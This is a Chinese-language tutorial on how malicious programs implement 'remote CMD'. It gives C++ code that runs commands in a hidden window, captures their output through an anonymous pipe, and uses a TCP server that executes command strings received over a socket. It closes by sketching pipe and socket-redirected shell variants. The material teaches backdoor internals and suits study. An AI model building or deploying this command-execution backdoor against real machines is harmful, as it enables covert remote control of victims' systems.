序言
远程 CMD 是指恶意程序接收到控制端发送的 CMD 指令后,在本地执行 CMD 命令,并将执行结果回传至控制端。本文将演示使用匿名管道技术获取 CMD 命令的执行结果。
相关API
CreatePipe:用于创建管道
PeekNamedPipe:用于判断管道中是否有数据存在
ReadFile、WriteFile:用于向管道读取或写入数据
CreateProcess:用于创建CMD子进程,可指定启动信息(STARTUPINFO)
实现原理
管道是一种进程间通信的技术,Window 上进程间通信技术还有文件映射、共享内存、邮槽、剪切板、事件等。
管道分为命名管道和匿名管道:
* 匿名管道只能在父子进程间通信,数据传输单向,不能网络通信;
* 命名管道可在任意进程间通信,数据传输双向,但同一时间只能有一端读写。
由于远程 CMD 中仅仅需要执行 CMD 指令的结果,所以使用匿名管道即可,其使用流程如下:
1. 使用 CreatePipe 创建匿名管道,获取管道数据读取句柄和管道数据写入句柄。
2. 初始化进程结构体,将管道写入句柄赋给新进程控制台窗口的缓存句柄;
3. 使用CreateProcess创建新进程执行CMD命令,并等待命令执行结束;
4. 在循环中使用 PeekNamedPipe 函数判断管道中是否有数据,通过管道读取句柄从缓冲区中获取执行结果。
5. 关闭句柄,释放资源。
编码实现
关键代码
// 执行 cmd 命令, 并获取执行结果数据 bool PipeCmd(TCHAR* cmd_str, std::string& outbuf) { BOOL bRet = FALSE; HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = {0}; STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; // 设定管道的安全属性 securityAttributes.bInheritHandle = TRUE; securityAttributes.nLength = sizeof(securityAttributes); securityAttributes.lpSecurityDescriptor = NULL; // 创建匿名管道 bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0); if (FALSE == bRet) { printf("CreatePipe"); return false; } // 设置新进程参数 si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdError = hWritePipe; si.hStdOutput = hWritePipe; // 创建新进程执行命令, 将执行结果写入匿名管道中 bRet = ::CreateProcess(NULL, cmd_str, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); if (FALSE == bRet) { printf("CreateProcess"); return false; } // 等待命令执行结束 ::WaitForSingleObject(pi.hThread, INFINITE); ::WaitForSingleObject(pi.hProcess, INFINITE); // 不断从匿名管道中读取结果到输出缓冲区 while (true) { char buf[2048]{}; DWORD readbytes = 0; DWORD availbytes = 0; if (!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break; if (!availbytes) break; if (!ReadFile(hReadPipe, buf, min(sizeof(buf) - 1, availbytes), &readbytes, NULL) || !readbytes) break; buf[readbytes] = 0; outbuf += buf; } // 关闭句柄, 释放内存 ::CloseHandle(pi.hThread); ::CloseHandle(pi.hProcess); ::CloseHandle(hWritePipe); ::CloseHandle(hReadPipe); return true; }
上面的代码中首先调用 CreatePipe 函数创建匿名管道,并将返回的读写句柄保存到 hReadPipe 和 hWritePipe 变量中。
然后,通过设置STARTUPINFO结构体中的参数,将新进程的标准错误输出和标准输出都重定向到管道中,以便将命令执行结果写入管道中。
接着,调用CreateProcess函数创建新进程,并将命令行命令作为参数传入。
CreateProcess 函数执行成功后,新进程开始执行命令,并将命令执行结果写入管道中,之后通过循环调用 PeekNamedPipe 和 ReadFile 函数,不断从管道中读取数据,并将读取到的数据存储到输出缓冲区中。
最后,代码关闭句柄,释放内存。
测试实现
测试代码
int main(int argc, char** argv) { TCHAR cmd_str[] = L"ping 127.0.0.1"; // 执行 cmd 命令, 并获取执行结果数据 std::string outbuf; if (false == PipeCmd(cmd_str, outbuf)) { printf("pipe cmd error. "); } else { printf("CMD执行结果为: %s ", outbuf.c_str()); } system("pause"); return 0; }
远程传输
前面仅仅是把 cmd 命令的执行结果获取了,要想实现远程传输,需要加入网络传输部分。
测试
服务端
#define PORT 9982 int test_server() { SOCKET listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in bindaddr; bindaddr.sin_family = AF_INET; bindaddr.sin_addr.S_un.S_addr = ADDR_ANY; bindaddr.sin_port = htons(PORT); bind(listenfd, (SOCKADDR*)&bindaddr, sizeof(SOCKADDR)); listen(listenfd, 1); sockaddr_in clientaddr; int clientaddrlen = sizeof(SOCKADDR); SOCKET clientfd = accept(listenfd, (SOCKADDR*)&clientaddr, &clientaddrlen); char buf[1024]{}; int recvbytes = recv(clientfd, buf, 1024, 0); if (recvbytes <= 0) return -1; std::string outbuf; PipeCmd((LPTSTR)buf, outbuf); std::cout << outbuf << std::endl; closesocket(clientfd); closesocket(listenfd); return 0; }
客户端
int test_client() { SOCKET connfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in ServerAddr; ServerAddr.sin_family = AF_INET; ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); ServerAddr.sin_port = htons(PORT); connect(connfd, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr)); TCHAR cmdbuf[100] = _T("ipconfig"); send(connfd, (char*)cmdbuf, (lstrlen(cmdbuf) + 1) * sizeof(TCHAR), 0); closesocket(connfd); return 0;
效果
开启服务器后,通过客户端向服务端发送指令,服务端接收到指令后开始处理,最终测试能够正确处理。
小结
上述的远程 CMD 的实现通过一个匿名管道实现的,它是通过直接执行 cmd 命令,从而不需要创建传递命令的管道。远程 CMD 的实现方法还有几种变形方式,比如双管道远程 CMD,和零管道远程 CMD,它们对应的思路就是对 CMD 的输出输入重定向位置进行控制,比如:
双管道实现远程 CMD 就是将 CMD 进程的输入、输出句柄替换为读写管道的句柄。
零管道实现远程 CMD 就是将 CMD 进程的输入、输出句柄替换为 socket 的句柄。
审核编辑:刘清
全部0条评论
快来发表一下你的评论吧 !